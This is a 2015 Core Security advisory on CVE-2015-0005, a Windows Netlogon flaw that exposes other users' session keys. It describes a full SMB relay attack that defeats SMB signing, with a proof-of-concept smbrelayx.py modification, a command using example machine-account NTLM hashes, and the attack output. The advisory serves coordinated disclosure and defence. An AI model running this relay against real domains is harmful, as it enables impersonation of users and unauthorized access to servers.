1. Advisory Information
Title: Windows Pass-Through Authentication Methods Improper Validation
Advisory ID: CORE-2015-0005
Advisory URL: http://www.coresecurity.com/advisories/windows-pass-through-authentication-methods-improper-validation
Date published: 2015-03-10
Date of last update: 2015-03-10
Vendors contacted: Microsoft
Release mode: Coordinated release
2. Vulnerability Information
3. Vulnerability Description
The Microsoft  Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other things, for user and machine authentication on domain-based networks.
In a scenario where a client machine connects to a domain-joined server, a pass-through authentication  must be performed in order for the server to verify the client's credentials with the domain controller. This logon request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting the server to DC communication using a shared secret, commonly known as a server's machine account password.
On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB packets, and the keys needed for encryption/decryption of SMB sessions.
Improper validation between the account used to secure the communication channel and the logon request data being sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not meant for them.
At minimum this allows an attacker to:
1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists).
2) Decrypt SMB3 sniffed communications (PoC not provided).
Other venues of attack should be researched.
4. Vulnerable Packages
- Windows Server 2003 Service Pack 2
- Windows Server 2003 x64 Edition Service Pack 2
- Windows Server 2003 with SP2 for Itanium-based Systems
- Windows Server 2008 for 32-bit Systems with Service Pack 2
- Windows Server 2008 for x64-based Systems with Service Pack 2
- Windows Server 2008 for Itanium-based Systems Service Pack 2
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2 (Server Core installation)
Versions or editions that are not listed are either past their support life cycle or are not affected.
5. Vendor Information, Solutions and Workarounds
Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not prone to this type of attack if SMB signing is enabled.
Microsoft posted the following Security Bulletin: 
This vulnerability was discovered and researched by Alberto Solino from the Core Engineering Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.
7. Technical Description / Proof of Concept Code
Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the authentication material to the domain controller aiming at receiving a confirmation of the validity of those credentials, along with several pieces of information about the account trying to log in that allows the server machine to establish a session and serve resources to that user. In order to send and receive this information (through the NETLOGON  protocol), a secure channel must be established between the domain-joined server and the domain controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known as a server's machine account password. Actually, the shared secret is not based on the server's machine account password but on the output of the LMOWFv1/NTOWFv1  functions (a.k.a NTLM hashes).
Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication:
Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined server, using the NTLM authentication package. The domain is called 2012R2:
1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM.
2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication mechanism.
3) The NTLM 3-way handshake begins . This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.
4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC.
5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it WINDOWS81$). Using the NETLOGON protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of such call is as follows:
NetrLogonSamLogonWithFlags LogonServer: u'\x00' ComputerName: u'WINDOWS81\x00' Authenticator: Credential: Data: 'f\xcd\x94]&\nz\x85' Timestamp: 10 ReturnAuthenticator: Credential: Data: '\x00\x00\x00\x00\x00\x00\x00\x00' Timestamp: 0 LogonLevel: NetlogonNetworkTransitiveInformation LogonInformation: tag: 6 LogonNetworkTransitive: Identity: LogonDomainName: u'2012R2' ParameterControl: 0 Reserved: LowPart: 0 HighPart: 0 UserName: u'user3' Workstation: u'' LmChallenge: Data: '\x1a\xab8\xa4.E\x98\xe3' NtChallengeResponse: '\xd9\x94"\xd1C\xd9CT\xa3\x12\xac(\x97\xb2=\xd4\x01\x01\x00\x00\x00\x00\x00\x00N\x8b\xb3N\x1f\xc6\xcf \x01?9N\x1a\xe1\x1f\xfa-\x00\x00\x00\x00\x02\x00\x0c\x002\x000\x001\x002\x00R\x002\x00\x01\x00\x12\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001 \x00\x04\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x03\x00.\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001\x00. \x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x05\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N \x00\x07\x00\x08\x00N\x8b\xb3N\x1f\xc6\xcf\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00 \x00 \x00\xac>qS+\x9a\xb9x\xbe\xa0\xec\xaa\x89475J\xea\xe1x\x83\xe6A]\xdf\x84%ky})\xe5\n\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\t\x00&\x00c\x00i\x00f\x00s\x00/\x001\x009\x002\x00.\x001\x006\x008\x00.\x006\x006\x00.\x002\x004\x003\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00' LmChallengeResponse: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ValidationLevel: NetlogonValidationSamInfo4 ExtraFlags: 0
6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials are valid. NetrLogonSamLogonWithFlags() returns STATUS_SUCCESS if so, otherwise it return an error.
7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end up being one of the following structures:
a. NETLOGON_VALIDATION_SAM_INFO 
b. NETLOGON_VALIDATION_SAM_INFO2 
c. NETLOGON_VALIDATION_SAM_INFO4 
The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3.
An example of the data returned by NetrLogonSamLogonWithFlags() is shown below:
NetrLogonSamLogonWithFlagsResponse ReturnAuthenticator: Credential: Data: '[\\\x85\xf2\[email protected]~\x17' Timestamp: 0 ValidationInformation: tag: 6 ValidationSam4: LogonTime: LowPart: 4069189522 HighPart: 30393876 LogoffTime: LowPart: 4294967295 HighPart: 2147483647 KickOffTime: LowPart: 4294967295 HighPart: 2147483647 PasswordLastSet: LowPart: 738500373 HighPart: 30393272 PasswordCanChange: LowPart: 1450073877 HighPart: 30393473 PasswordMustChange: LowPart: 4294967295 HighPart: 2147483647 EffectiveName: u'user3' FullName: NULL LogonScript: NULL ProfilePath: NULL HomeDirectory: NULL HomeDirectoryDrive: NULL LogonCount: 5 BadPasswordCount: 0 UserId: 1113 PrimaryGroupId: 513 GroupCount: 2 GroupIds: [ RelativeId: 512 Attributes: 7 , RelativeId: 513 Attributes: 7 , ] UserFlags: 2336 UserSessionKey: Data: '\xb1\x8eg\x91\xfdK\x9d\xd0\x12\x8b\x9f\x9e\x8e\x19\xe9"' LogonServer: u'2012R2DOMAIN-DC' LogonDomainName: u'2012R2' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 1456083388, 2901136423, 1501488623, ] LMKey: '\xb1\x8eg\x91\xfdK\x9d\xd0' UserAccountControl: 528 SubAuthStatus: 0 LastSuccessfulILogon: LowPart: 0 HighPart: 0 LastFailedILogon: LowPart: 0 HighPart: 0 FailedILogonCount: 0 Reserved4: 0 SidCount: 1 ExtraSids: [ Sid: Revision: 1 SubAuthorityCount: 5 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 1456083388, 2901136423, 1501488623, 572, ] Attributes: 536870919 , ] DnsLogonDomainName: u'2012R2.DOMAIN' Upn: u'[email protected]' ExpansionString1: NULL ExpansionString2: NULL ExpansionString3: NULL ExpansionString4: NULL ExpansionString5: NULL ExpansionString6: NULL ExpansionString7: NULL ExpansionString8: NULL ExpansionString9: NULL ExpansionString10: NULL Authoritative: 1 ExtraFlags: 0 ErrorCode: 0
As can be seen, there's a field called UserSessionKey. According to :
'The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections 188.8.131.52.5 and 184.108.40.206.13). The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching account is found, an error STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.'
This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine. Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller returning this data, since WINDOWS81 doesn't have the user's credentials.
Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials.
Based on  the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and the machine account that established the NETLOGON session should be the same (except for the '$' sign).
What we found while implementing the NETLOGON protocol  is the domain controller not verifying whether the authentication information being sent, was actually meant to the domain-joined machine that is requesting this operation (e.g. NetrLogonSamLogonWithFlags()).
What this means is that any domain-joined machine can verify any pass-through authentication against the domain controller, and to get the base key for cryptographic operations for any session within the domain.
As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain.
SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker that manages to sit in the middle between a victim and a target server to impersonate the victim against the target server.
One of the mitigations mentioned on several papers is the implementation of SMB Signing , since, in order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1).
To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact with the domain controller through NETLOGON. Getting a machine account credential is not a complicated task if an attacker has either:
1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts ).
2) A normal domain user (so it can perform a fake domain join).
The high level flow would be as follows:
1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes).
2) We know the DC IP address or FQDN (called DC-MACHINE).
3) We targeted a victim user (called USER-A), tricking him into connecting to our machine (ATTACKER-MACHINE) with his domain credentials.
4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE).
5) This domain environment enforces SMB Signing.
The packet's flow would be like this:
1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.
2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE SMB_COM_NEGOTITATE response.
3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A.
4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet.
5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to TARGET-MACHINE, and receives a NTLM_CHALLENGE.
6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A.
7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE.
8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is STATUS_SUCCESS, it means the credentials are valid.
Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire the SMB Signing key
9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using MACHINE-ACCOUNT hashes.
10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information:
a. ComputerName: TARGET-MACHINE
b. ValidationLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
c. LogonLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonNetworkTransitiveInformation
d. LogonNetworkTransitive/Identity/LogonDomainName: The domainname
e. LogonNetworkTransitive/Identity/ParameterControl: 0
f. LogonNetworkTransitive/Identity/UserName: USER-A
g. LogonNetworkTransitive/Identity/Workstation: ''
h. LogonNetworkTransitive/Identity/LmChallenge: The challenge field of the NTLM_CHALLENGE structure.
i. LogonNetworkTransitive/Identity/NtChallengeResponse: the NtChallengeResponse from the NTLM_AUTHENTICATE structure.
j. LogonNetworkTransitive/Identity/LmChallengeResponse: the LmChallengeResponse from the NTLM_AUTHENTICATE structure.
11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or an extra transformation should be made (calling generateEncryptedSessionKey()).
12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the SMB Signing key needed to perform further SMB commands against TARGET-MACHINE.
7.1. Proof of Concept
In order to test this attack the following infrastructure is needed:
1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC). Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100.
2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine. (IP: 192.168.1.220)
3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this is harder. Attacker's Machine IP: 192.168.1.200
4) A valid machine account name and NTLM hashes. Assuming it is:
a. account name: TEST-MACHINE$
b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db
The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.
6) Change smbrelayx.py doAttack() class to the following:
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) self.SMBClient = SMBClient def run(self): # Here PUT YOUR CODE! from impacket.smbconnection import SMBConnection smbConnection = SMBConnection(existingConnection=self.SMBClient) files = smbConnection.listPath('SYSVOL','\\*') print "EVIDENCE: SYSVOL's contents!" for file in files: print file.get_longname() smbConnection.logoff()
From the attackers machine run:
python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db -domain 192.168.1.100
From the victim's machine, with a valid domain user logged in, run from the command prompt:
At the smbrelayx.py execution, you will see:
Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies [*] Running in relay mode [*] Config file parsed [*] Setting up SMB Server [*] Servers started, waiting for connections [*] Incoming connection (192.168.1.220,58702) [*] SMBD: Received connection from 192.168.1.220, attacking target 192.168.1.100 [*] Signature is REQUIRED on the other end, using NETLOGON approach [*] Connecting to 192.168.1.100 NETLOGON service [*] TESTDOMAIN\usera successfully validated through NETLOGON [*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b62404 [*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED [!] TreeConnectAndX not found C$ [!] TreeConnectAndX not found C$ EVIDENCE: SYSVOL's contents! . .. TESTDOMAIN ----
If you want to perform more actions instead of just listing the SYSVOL contents, check the doAttack.run() method inside smbrelayx.py
8. Report Timeline
- 2014-05-27: Core Security sent the first notification to Microsoft, including a technical description and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014.
- 2014-05-27: Microsoft assigns the tracking number 19179 and informs their team will be investigating our report.
- 2014-06-25: Core Security requested an update on the investigations and expressed we are still planning to release the advisory on June 30th.
- 2014-07-03: Core Security requested an update on the investigations and expressed we decided to postpone the release date from June 30th to July 10th giving additional time to reply back.
- 2014-07-07: Microsoft claims the issue has been publicly known since 2009 as the advisories  and .
- 2014-07-09: Microsoft informs that they took another look at the issue and think there may be a bigger problem than just the NTLM as they previously stated. Requests to hold off the publishing of the advisory.
- 2014-07-15: Core Security insists that SMB Signing is not an effective way of mitigating this problem as demonstrated in the PoC sent in the original report. We inform them that we decided not to publish a advisory but we will write a blog post with the technical description.
- 2014-07-24: Core Security informed Microsoft that we will publish the blog and related tools on August 4th, considering we didn't receive a reply.
- 2014-07-28: Microsoft informs they were able to reproduce the issue and are working on a fix. They request if possible to hold off Core Security's publication.
- 2014-08-12: Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security requested a tentative ETA for making the advisory public.
- 2014-08-18: Microsoft states they don't have an ETA but are working to define one. Microsoft requests a draft of the advisory.
- 2014-08-20: Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week.
- 2014-09-11: Core Security sent Microsoft a draft version of the advisory.
- 2014-09-23: Core Security requested a reception confirmation of the draft version of the advisory.
- 2014-09-24: Microsoft confirms reception. They inform they are tentatively scheduling a December release.
- 2014-10-23: Core Security requested the specific date for releasing the fix in order to schedule the advisory accordingly.
- 2014-11-03: Microsoft informs that they are planning a January release but it could change if they find variants or run into issues on their test pass.
- 2014-11-05: Core Security requested the vendor that we would like to respect the original release date considering that the issue was originally reported on the 27 of May, 2014.
- 2014-11-10: Microsoft informs that they are expecting to ship the fix in January because they have other deployment priorities.
- 2014-12-16: Core Security requested the vendor a specific date for the release of the fix and we inform them that we are planning to release the advisory on Tuesday 13th of January, 2015.
- 2015-01-02: Microsoft informs that they are not going to meet the expectations for a fix in January because they require to fix the NETLOGON API, and during its application compatibility testing they identified a major service provider that is affected by their fix.
- 2015-02-24: Core Security requested the vendor provide an updated time frame for publishing the fix of the bug.
- 2015-02-27: Microsoft informs that they currently finalizing the final test pass and that they should have a concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They request to know how we would lke to be credited in the Bulletin.
- 2015-03-02: Core Security informed them how we would like to be credited and requested them a daft copy of their Bulletin and a copy of the fix in order to make internal tests.
- 2015-03-02: Microsoft informs us that they cannot share packages early unless we are under NDA with them and in the SUVP program.
- 2015-03-03: Core Security informed them that we were disappointed by their response considering that we have been cooperating with them for more than 9 months and have disclosed higly confidential information with them. We informed them that we are going to publish the advisory on March 10th.
- 2015-03-09: Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST. They requested Core Security to ckeck the acknowledgment they were going to use.
- 2015-03-09: Core Security thanked Microsoft for the information provided and informed them how the Advisory should be acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering Authority. Core Security sent them the link of where our advisory is going to be published.
- 2015-03-09: Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their acknowledgment.
- 2015-03-09: Core Security requested, that if possible, they could link our advisory in the acknowledgment.
- 2015-03-10: Advisory CORE-2015-0005 published.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use.
11. About Core Security
Core Security enables organizations to get ahead of threats with security test and measurement solutions.